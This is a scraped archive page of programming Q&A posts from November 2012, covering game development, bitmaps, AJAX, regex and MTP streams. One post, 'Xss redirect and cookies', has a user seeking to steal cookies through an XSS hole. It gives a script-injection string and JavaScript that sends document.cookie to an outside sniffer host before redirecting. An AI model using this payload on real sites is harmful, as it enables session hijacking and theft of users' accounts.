Daily Archives

Articles indexed Wednesday November 21 2012

Page 12/17 | < Previous Page | 8 9 10 11 12 13 14 15 16 17  | Next Page >

  • Freshen the RTS genre

    - by William Michael Thorley
    This isn't really a question, but a request for feedback. RPS (Rock, Paper, Scissors) RTS (Real Time Strategy) Demo version is out: The game is simple. It is an RTS. Why has it been made? Many if not most RTS’s are about economy and large numbers of unit types. The genre hasn’t actually developed the gameplay drastically from the very first RTS’s produced, some lesson have been learned, but the games are really very similar to how they have always been. RPS brings new gameplay to the RTS genre. Through three means: • New combat mechanics: RPS has two unique modes (as well as the old favourite) of resolving weapon fire. These change how combat happens, and make application of the correct units vital to success. From this comes the requirement to run Intel on your enemies. • Fixed Resource Economy: Each player has a fixed amount of energy, This means that there is a definite end to the game. You can attrition your enemy and try to outlast them, or try to outspend your opponent and destroy them. There is a limit to how fast ships can be built, through the generation of construction blocks, but energy is the fast limit on economy. • Game Modes: Game modes add victory conditions and new game pieces. The game is overseen by a controller which literally runs the game. Games are no longer line them up, gun them down. This means that new tactics must be played making skirmish games fresh with novel tactics without adding huge amounts of new game units to learn. I’ve produced RPS from the ground. I will be running a kickstarter in the near future, but right now I want feedback and input from the game developing community. Regarding the concepts, where RPS is going, the game modes, the combat mechanics. How it plays. RPS will give fresh gameplay to the genre so it must be right. It works over the internet or a LAN and supports single player games. Get it. Play it. Tell me about your games. Thank you Demo: https://dl.dropbox.com/u/51850113/RPS%20Playtest.zip Tutorials: https://dl.dropbox.com/u/51850113/RPSGamePlay.zip

    Read the article

  • Stage3D Camera problem

    - by Thomas Versteeg
    I am trying to create a 2D Stage3D game where you can move the camera around the level in an RTS style. I thought about using Orthographic Matrix3D functions for this but when I try to scroll the whole "stage" also scrolls. This is the Camera code: public function Camera2D(width:int, height:int, zoom:Number = 1) { resize(width, height); _zoom = zoom; } public function resize(width:Number, height:Number):void { _width = width; _height = height; _projectionMatrix = makeMatrix(0, width, 0, height); _recalculate = true; } protected function makeMatrix(left:Number, right:Number, top:Number, bottom:Number, zNear:Number = 0, zFar:Number = 1):Matrix3D { return new Matrix3D(Vector.<Number>([ 2 / (right - left), 0, 0, 0, 0, 2 / (top - bottom), 0, 0, 0, 0, 1 / (zFar - zNear), 0, 0, 0, zNear / (zNear - zFar), 1 ])); } public function get viewMatrix():Matrix3D { if (_recalculate) { _recalculate = false; _viewMatrix.identity(); _viewMatrix.appendTranslation( -_width / 2 - _x, -_height / 2 - y, 0); _viewMatrix.appendScale(_zoom, _zoom, 1); _renderMatrix.identity(); _renderMatrix.append(_viewMatrix); _renderMatrix.append(_projectionMatrix); } return _renderMatrix; } Here are two screenshots to show what I mean: How do I only let the inside of the stage3D scroll and not the whole stage?

    Read the article

  • How to store bitmaps in memory?

    - by Geotarget
    I'm working with general purpose image rendering, and high-performance image processing, and so I need to know how to store bitmaps in-memory. (24bpp/32bpp, compressed/raw, etc) I'm not working with 3D graphics or DirectX / OpenGL rendering and so I don't need to use graphics card compatible bitmap formats. My questions: What is the "usual" or "normal" way to store bitmaps in memory? (in C++ engines/projects?) How to store bitmaps for high-performance algorithms, such that read/write times are the fastest? (fixed array? with/without padding? 24-bpp or 32-bpp?) How to store bitmaps for applications handling a lot of bitmap data, to minimize memory usage? (JPEG? or a faster [de]compression algorithm?) Some possible methods: Use a fixed packed 24-bpp or 32-bpp int[] array and simply access pixels using pointer access, all pixels are allocated in one continuous memory chunk (could be 1-10 MB) Use a form of "sparse" data storage so each line of the bitmap is allocated separately, reusing more memory and requiring smaller contiguous memory segments Store bitmaps in its compressed form (PNG, JPG, GIF, etc) and unpack only when its needed, reducing the amount of memory used. Delete the unpacked data if its not used for 10 secs.

    Read the article

  • Informing GUI objects about screen size - Designing

    - by Mosquito
    I have a problem with designing classes for my game which I create. In my app, there is: class CGame which contains all the information about game itself, e.g. screen width, screen height, etc. In the main() function I create a pointer to CGame instance. class CGUIObject which includes fields specifying it's position and draw() method, which should know how to draw an object according to screen size. class CGUIManager which is a singleton and it includes a list of CGUIObject's. For each object in a list it just calls draw() method. For clarity's sake, I'll put some simple code: class CGame { int screenWidth; int screenHeight; }; class CGUIObject { CPoint position; void draw(); // this one needs to know what is a screen's width and height }; class CGUIManager // it's a singleton { vector<CGUIObject*> guiObjects; void drawObjects(); }; And the main.cpp: CGame* g; int main() { g = new CGame(); while(1) { CGUIManager::Instance().drawObjects(); } return 0; } Now the problem is, that each CGUIObject needs to know the screen size which is held by CGame, but I find it very dumb to include pointer to CGame instance in every object. Could anyone, please, tell me what would be the best approach to achieve this?

    Read the article

  • which is better performance, using a disposable local variable or reusing a global one?

    - by petervaz
    This is for an android game. Suppose I have a function that is called several times for second and do some calculations involving an arraylist (or any other complex objects for what matter). Which approach would be preffered? local: private void doStuff(){ ArrayList<Type> XList = new ArrayList<Type>(); // do stuff with list } global: private ArrayList<Type> XList = new ArrayList<Type>(); private void doStuff(){ XList.clear(); // do stuff with list }

    Read the article

  • how to rotate a sprite using multi touch (andengine) in android?

    - by 786
    I am new to android game development. I am using andengine GLES-2. i have created sprite as a box. this box is now draggable by using this coding. it works fine. but i want multitouch on this which i want to rotate a sprite with 2 finger in that box and even it should be draggable. .... plz help someone by overwriting this code or by giving exact example of this doubt... i am trying this many days but no idea. final float centerX = (CAMERA_WIDTH - this.mBox.getWidth()) / 2; final float centerY = (CAMERA_HEIGHT - this.mBox.getHeight()) / 2; Box= new Sprite(centerX, centerY, this.mBox, this.getVertexBufferObjectManager()) { public boolean onAreaTouched(TouchEvent pSceneTouchEvent, float pTouchAreaLocalX, float pTouchAreaLocalY) { this.setPosition(pSceneTouchEvent.getX() - this.getWidth()/ 2, pSceneTouchEvent.getY() - this.getHeight() / 2); float pValueX = pSceneTouchEvent.getX(); float pValueY = CAMERA_HEIGHT-pSceneTouchEvent.getY(); float dx = pValueX - gun.getX(); float dy = pValueY - gun.getY(); double Radius = Math.atan2(dy,dx); double Angle = Radius * 360 ; Box.setRotation((float)Math.toDegrees(Angle)); return true; } thanks

    Read the article

  • Safe zone implementation in Asteroids

    - by Moaz
    I would like to implement a safe zone for asteroids so that when the ship gets destroyed, it shouldn't be there unless it is safe from other asteroids. I tried to check the distance between each asteroid and the ship, and if it is above threshold, it sets a flag to the ship that's a safe zone, but sometimes it work and sometimes it doesn't. What am I doing wrong? Here's my code: for (list<Asteroid>::iterator itr_astroid = asteroids.begin(); itr_astroid!=asteroids.end(); ) { if(currentShip.m_state == Ship::Ship_Dead) { float distance = itr_astroid->getCenter().distance(Vec2f(getWindowWidth()/2,getWindowHeight()/2)); if( distance>200) { currentShip.m_saveField = true; break; } else { currentShip.m_saveField = false; itr_astroid++; } } else { itr_astroid++; } } At ship's death: if(m_state == Ship_Dead && m_saveField==true) { --m_lifeSpan; } if(m_lifeSpan<=0 && m_saveField == true) { m_state = Ship_Alive; m_Vel = Vec2f(0,0); m_Pos.x = app::getWindowWidth()/2; m_Pos.y = app::getWindowHeight()/2; m_lifeSpan = 100; }

    Read the article

  • How to create a thread in XNA for pathfinding?

    - by Dan
    I am trying to create a separate thread for my enemy's A* pathfinder which will give me a list of points to get to the player. I have placed the thread in the update method of my enemy. However this seems to cause jittering in the game every-time the thread is called. I have tried calling just the method and this works fine. Is there any way I can sort this out so that I can have the pathfinder on its own thread? Do I need to remove the thread start from the update and start it in the constructor? Is there any way this can work? Here is the code at the moment: bool running = false; bool threadstarted; System.Threading.Thread thread; public void update() { if (running == false && threadstarted == false) { thread = new System.Threading.Thread(PathThread); //thread.Priority = System.Threading.ThreadPriority.Lowest; thread.IsBackground = true; thread.Start(startandendobj); //PathThread(startandendobj); threadstarted = true; } } public void PathThread(object Startandend) { object[] Startandendarray = (object[])Startandend; Point startpoint = (Point)Startandendarray[0]; Point endpoint = (Point)Startandendarray[1]; bool runnable = true; // Path find from 255, 255 to 0,0 on the map foreach(Tile tile in Map) { if(tile.Color == Color.Red) { if (tile.Position.Contains(endpoint)) { runnable = false; } } } if(runnable == true) { running = true; Pathfinder p = new Pathfinder(Map); pathway = p.FindPath(startpoint, endpoint); running = false; threadstarted = false; } }

    Read the article

  • Providing updating suggestions list with javascript, php and ajax

    - by user1104854
    I'm trying to modify this example on making a live updating list to integrate it with my API. So, instead of using GET on the page with the form, I'd like to send it to that page via a function call. So, here's my form // message.php //function to display the hint sent from gethint.php function message_hint($hint){ echo $hint; } //displays the form for sending messages function send_message_form($to_user,$title,$message){ include 'gethint.php'; ?> <table> <form name = "send_message" method="post"> <td>Send A Message</td> <tr><td>To:</td><td><input type = "text" size="50" name="to_user" id = "to_user" value ="<? echo $to_user; ?>" onkeyup="showHint(this.value)"></td></tr> <tr><td>Title:</td><td><input type = "text" size="50" name="message_title"></td></tr> <tr><td>Message:</td><td><textarea rows="4" cols="50" name="message_details"></textarea></td></tr> <tr><td><input type="submit" name="submit_message"></td></tr> </table> </form> <? } Here's the head of message.php <head> <script> function showHint(str){ var to_user = document.getElementById("to_user").value //to_user is the id of the textbox if (str.length==0){ to_user.innerHTML=""; return; } if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); }else{// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200){ alert(to_user) //properly displays the name via alert box to_user.innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","gethint.php?q="+to_user,true); xmlhttp.send(); } </script> </head> The page gethint.php is exactly the same, aside from this at the bottom. //echo $response //this was the original output $message = new messages; $message->message_hint($response);

    Read the article

  • which regular expression will capture this sequence?

    - by John Smith
    The text follows this pattern <tr class="text" (any sequence of characters here, except ABC)ABC(any sequence of characters here, except ABC) <tr class="text" (any sequence of characters here, except ABC)ABC(any sequence of characters here, except ABC) <tr class="text" (any sequence of characters here, except ABC)ABC(any sequence of characters here, except ABC) <tr class="text" (any sequence of characters here, except ABC)ABC(any sequence of characters here, except ABC) so basically the above line might repeat itself multiple times, and the idea is to retrieve the first 3 characters immediately after ABC. I have tried regular expressions along the lines of \<tr class="text" [.]+ABC(?<capture>[.]{3}) but they all fail. Can someone give me a hint?

    Read the article

  • WPD MTP data stream hanging on Release

    - by Jonathan Potter
    I've come across a weird problem when reading data from a MTP-compatible mobile device using the WPD (Windows Portable Devices) API, under Windows 8 (not tried any other Windows versions yet). The symptom is, when calling Release on an IStream interface obtained via the IPortableDeviceResources::GetStream function, occasionally the Release call will hang and not return until the device is disconnected from the PC. After some experimentation I've discovered that this never happens as long as the entire contents of the stream have been read. But if the stream has only been partially read (say, the first 256Kb of the file), it can happen seemingly at random (although quite frequently). This has been reproduced with an iPhone and a Windows Phone 8 mobile, so it does not seem to be device-specific. Has anyone come across this sort of issue before? And more importantly, does anyone know of a way to solve it other than by always reading the entire contents of the stream? Thanks!

    Read the article

  • SublimeJava won't react at all on Mac OS X 10.7

    - by David Merz
    today I tried to install and run the SublimeJava Plugin for Sublime Text 2. Here is basically what i've done. Cloning the git Repository https://github.com/quarnster/SublimeJava.git into ~/Library/Application Support/Sublime Text 2/Packages. Created a ProjectFile to test the Plugin. { "folders": [ { // The class files are in the same directory "path": "~/src/path_to_project/" } ], "settings": [ { "sublimejava_classpath": [ "~/src/path_to_project/", "/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Libraries/" ], "sublimejava_enabled":true } ] } Now whenever I type something that should trigger the code-completion, nothing happens. I hope you guys can sort me out here, many thanks in advance!!

    Read the article

  • Counting substring, while loop

    - by user1554786
    public class SubstringCount { public static void main(String[] args) { Scanner scan = new Scanner(System.in); System.out.println("Enter a word longer than 4 characters, and press q to quit"); int count = 0; while (scan.hasNextLine()) { System.out.println("Enter a word longer than 4 characters, and press q to quit"); String word = scan.next(); if (word.substring(0,4).equals("Stir")) { count++; System.out.println("Enter a word longer than 4 characters, and press q to quit"); scan.next(); } else if (word.equals("q")) { System.out.println("You have " + count + ("words with 'Stir' in them")); } else if (!word.substring(0,4).equals("Stir")) { System.out.println("Enter a word longer than 4 characters, and press q to quit"); scan.next(); } } } } Here I need to print how many words entered by the user contain the substring 'Stir.' However I'm not sure how to get this to work, or if I've done any of it right in the first place! Thanks for any help!

    Read the article

  • Xss redirect and cookies

    - by user1824906
    I found Active XSS on one site. I need to steal cookies and after it to make redirect on other site. This site has a non-frame protection I tried to put "><script src='http://site.ru/1.js' /></script>" http://site.ru/1.js contains: img = new Image(); img.src = "http:/sniffer.com/nasdasdnu.gif?"+document.cookie; var URL = "http://images.cards.mail.ru/11bolprivet.jpg" var speed = 100; function reload() { document.location = URL } setTimeout("reload()", speed); But it doesn't work=\ Any help?

    Read the article

  • CakePHP – 2 controllers, 1 form

    - by user1327
    I need to create a review form. I have 2 models and 2 controllers – Products and Reviews with 'Products' hasMany 'Reviews' relationship, the review form will be displayed on the current product page (Products controller, 'view' action), and this form will be use another controller (Reviews). Also I need validation with validation errors being displayed for this form. In my Products controller view.ctp I have: // product page stuff... echo $this->Form->create($model = 'Review', array('url' => '/reviews/add')); echo $this->Form->input('name', array('label' => 'Your name:')); echo $this->Form->input('email', array('label' => 'Your e-mail:')); echo $this->Form->input('message', array('rows' => '6', 'label' => 'Your message:')); echo $this->Form->end('Send'); echo $this->Session->flash(); ReviewsController - add: public function add() { if ($this->request->is('post')) { $this->Review->save($this->request->data); $this->redirect(array('controller' => 'products', 'action' => 'view', $this->request->data['Review']['product_id'], '#' => 'reviews')); } } Somehow this horrible code works.. in part. Review saves, but I don't get validation errors, and I can't add 'if ($this->Review->save($this->request->data);) { //... } because it will break this action (missed view error). My question is how to properly deal with this situation to achieve functionality that I need? Should I use elements with request action or I should move adding reviews to the ProductsController?

    Read the article

  • Alignment for 2nd row data

    - by user1736299
    <table> <tr><td>test</td></tr> <tr> <td> <div style= height:200px;"> <div style="border:1px solid yellow; display: inline-block; width:100px"> <img src="orderedList4.png"> </div> <div align="center" style="border:1px solid green; display: inline-block; width:650px;height:100px;"> <div>center Test Header1</div> <div>center Test Header2</div> </div> <div align="right" style="border:1px solid red;display: inline-block; width:100px">REL 1.0</div> </div> </td> </tr> </table> In the above code, the image size is 75*75 pixels. I want to have all the three cells to have a height of 100 pixels. I want the image to be centered and left aligned. The middle text to centered. Third text to centered and right aligned. I could not make it working.

    Read the article

  • Passing arguments to Shared Function - C

    - by SpyrosR
    I have used dlopen to load an object and dlsym to get a function pointer to a shared object function. Everything works fine. I have tested it calling then the shared function which (for now) only prints and it works-prints fine in the main program calling it. Now I want to pass two arguments to this function. An int and a char * .Can anyone help me understand how can I pass arguments to a shared function? I have searched in the web but I cannot understand how it works.

    Read the article

  • hide part of the content of an element

    - by user1843471
    Sorry, this may be kind of weird problem: I have an existing HTML code, which I can not directly edit or delete parts of it. The problem is: Inside a div-element in this code, there is some text which I want to hide. There are also another element inside of this div, which I don't want to hide. It looks something like this: <div> ....Text I want to hide.... <table> ... Text I don't want to hide...</table> </div> My question: Is it possible to hide the "....Text I want to hide...." while not hiding the "... Text I don't want to hide..."? (for example using javascript?)

    Read the article

  • Should I be worried about sending Apk to client before getting paid?

    - by DanielS
    I am working on an Android app for a client. The app is practically finished, and next week I'll have a meeting with the client to present it. He'll test everything, and upon approving it he will make the payment and I'll give him the source code and publish it on Google Play. Today he called me asking for the Apk so that he can start testing it. I am worried that if we don't close the deal (for one reason or another) he might get someone to reverse engineer the Apk and get my source code/app anyway, even if obfuscated with ProGuard (I never tried, but according to this SO thread it's not that difficult to reverse engineer an Apk). My question: Am I being paranoid here and should just send the client the Apk (cause perhaps the ProGuard obfuscation is enough to make the source code useless) , or are my worries reasonable and I should stick to getting paid before delivering anything?

    Read the article

  • Should I define models that will be owned by many different models or use controller and views?

    - by jgervin
    I am struggling to figure out how to get a relationship between several models. I have sales_leads which I need to view by company and by event. So if someone looks up the leads by company they can see all leads across all events, but also see all leads by event. Not sure if this is ownership versus a where? Should it be something like Company.sales_leads where("event.event_id = ?", "2356") Or Models: sales_lead belongs_to event belongs_to company

    Read the article

  • Write Unit test for sorting

    - by user175084
    I need to write a unit test for a method where I arrange data according to another default list. This is the method. internal AData[] GetDataArrayInInitialSortOrder(ABData aBData) { Dictionary<string,AData > aMap = aBData.ADataArray.ToDictionary(v => v.GroupName, v => v); List<AData> newDataList = new List<AData>(); foreach (AData aData in _viewModel.ADList) newDataList.Add(aMap[aData.GroupName]); return newDataList.ToArray(); } Please help I am new in unit testing and this is not easy for me. Any sample or links are appreciated Thanks

    Read the article

  • matching certain numbers at the end of a string

    - by user697473
    I have a vector of strings: s <- c('abc1', 'abc2', 'abc3', 'abc11', 'abc12', 'abcde1', 'abcde2', 'abcde3', 'abcde11', 'abcde12', 'nonsense') I would like a regular expression to match only the strings that begin with abc and end with 3, 11, or 12. In other words, the regex has to exclude abc1 but not abc11, abc2 but not abc12, and so on. I thought that this would be easy to do with lookahead assertions, but I haven't found a way. Is there one? EDIT: Thanks to posters below for pointing out a serious ambiguity in the original post. In reality, I have many strings. They all end in digits: some in 0, some in 9, some in the digits in between. I am looking for a regex that will match all strings except those that end with a letter followed by a 1 or a 2. (The regex should also match only those strings that start with abc, but that's an easy problem.) I tried to use negative lookahead assertions to create such a regex. But I didn't have any success.

    Read the article

  • "OR" Operator must be placed at end of previous line? (unexpected tOROP)

    - by akonsu
    I am running Ruby 1.9. This is a valid syntax: items = (data['DELETE'] || data['delete'] || data['GET'] || data['get'] || data['POST'] || data['post']) But this gives me an error: items = (data['DELETE'] || data['delete'] || data['GET'] || data['get'] || data['POST'] || data['post']) t.rb:8: syntax error, unexpected tOROP, expecting ')' || data['GET'] || data['get'] |... ^ Why?!

    Read the article

  • .htaccess | Adding A Second Vanity URL

    - by Necro.
    I want to take my .htaccess file and add a second rule for another vanity URL as I already have one declaring the page. So how would I write it so I can go to my page, and the next vanity being a variable for a profile? Ex:// mywebsite.com/page/profile Here is my current .htaccess file. RewriteEngine On RewriteBase / RewriteRule ^([a-zA-Z0-9-]+)$ index.php?p=$1 [L] RewriteRule ^([a-zA-Z0-9-]+)/$ index.php?p=$1 [L]

    Read the article

  • Creating a window manager type overlay for Mac OS X

    - by zorg1379
    I want to make my own window manager for OS X, or at least give it the appearance of a new one. I have many designs written down in a book, and would like to implement them. These include altering, or even completely removing, menu bars, creating entirely new guis for switching applications, etc. I know that OS X does not have a window manager, and that basically the functions that an X11 window manager would perform are done by Carbon, Cocoa, the Dock application, and the window server. I've read that it would take an incredible amount of reverse engineering to write my own api, etc. at the hardware level. I am still not that good at programming though, and don't have that kind of time. That's why I was thinking of maybe running an application on top of OS X that will function like a separate window manager - and do everything that the normal OS GUI / window manager would do. Is this possible? For example: making a custom button that would appear upon a certain key combination, that could be clicked to access a document viewer, change the time, minimize a window, etc. Is there some way to access functionality to basic tasks / actions like this without using the default OS X button controls, and implementing them with my own GUI? I am talking about more than a simple theme change, I want to completely change the user experience. This means that this application would be run in a full screen mode that blocks out default OS X menu bars. I've heard something about using graphics architectures to plug in your own window manager? Would this be an option too? If so, how would I go about doing that? Thank you,

    Read the article

< Previous Page | 8 9 10 11 12 13 14 15 16 17  | Next Page >